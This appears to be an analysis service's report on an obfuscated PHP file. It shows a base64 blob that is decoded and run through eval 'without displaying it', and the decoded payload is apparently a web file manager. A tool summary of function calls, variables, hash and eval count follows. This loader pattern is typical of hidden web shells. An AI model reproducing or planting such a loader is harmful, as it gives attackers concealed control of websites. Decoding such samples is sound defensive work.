ZSddICAgICAgPSAnSW52YWxpZCBjaGFyYWN0ZXJzIGluIGZpbGUgb3IgZm9sZGVyIG5hbWUnOwogICAgJHRyWydlbiddWydPcGVyYXRpb25zIHdpdGggYXJjaGl2ZXMgYXJlIG5vdCBhdmFpbGFibGUnXSAgICAgPSAnT3BlcmF0aW9ucyB3aXRoIGFyY2hpdmVzIGFyZSBub3QgYXZhaWxhYmxlJzsKICAgICR0clsnZW4nXVsnRmlsZSBvciBmb2xkZXIgd2l0aCB0aGlzIHBhdGggYWxyZWFkeSBleGlzdHMnXSAgID0gJ0ZpbGUgb3IgZm9sZGVyIHdpdGggdGhpcyBwYXRoIGFscmVhZHkgZXhpc3RzJzsKCiAgICAkaTE4biA9IGZtX2dldF90cmFuc2xhdGlvbnMoJHRyKTsKICAgICR0ciA9ICRpMThuID8gJGkxOG4gOiAkdHI7CgogICAgaWYgKCFzdHJsZW4oJGxhbmcpKSAkbGFuZyA9ICdlbic7CiAgICBpZiAoaXNzZXQoJHRyWyRsYW5nXVskdHh0XSkpIHJldHVybiBmbV9lbmMoJHRyWyRsYW5nXVskdHh0XSk7CiAgICBlbHNlIGlmIChpc3NldCgkdHJbJ2VuJ11bJHR4dF0pKSByZXR1cm4gZm1fZW5jKCR0clsnZW4nXVskdHh0XSk7CiAgICBlbHNlIHJldHVybiAiJHR4dCI7Cn0KCj8+";
$decoded = base64_decode($z);

// Execute decoded content without displaying it
ob_start();
eval('?>' . $decoded);
$output = ob_get_clean();

// Output only the execution result
echo $output;
?>

Function Calls

ini_set 1
ob_start 1
ob_get_clean 1
base64_decode 1
error_reporting 1

Variables

$z PD9waHAKLy9EZWZhdWx0IENvbmZpZ3VyYXRpb24KJENPTkZJRyA9ICd7Imxh..
$decoded <?php //Default Configuration $CONFIG = '{"lang":"en","error..

Stats

MD5 d411af1f0027b8a937c2db0e6bfa2e57
Eval Count 1
Decode Time 653 ms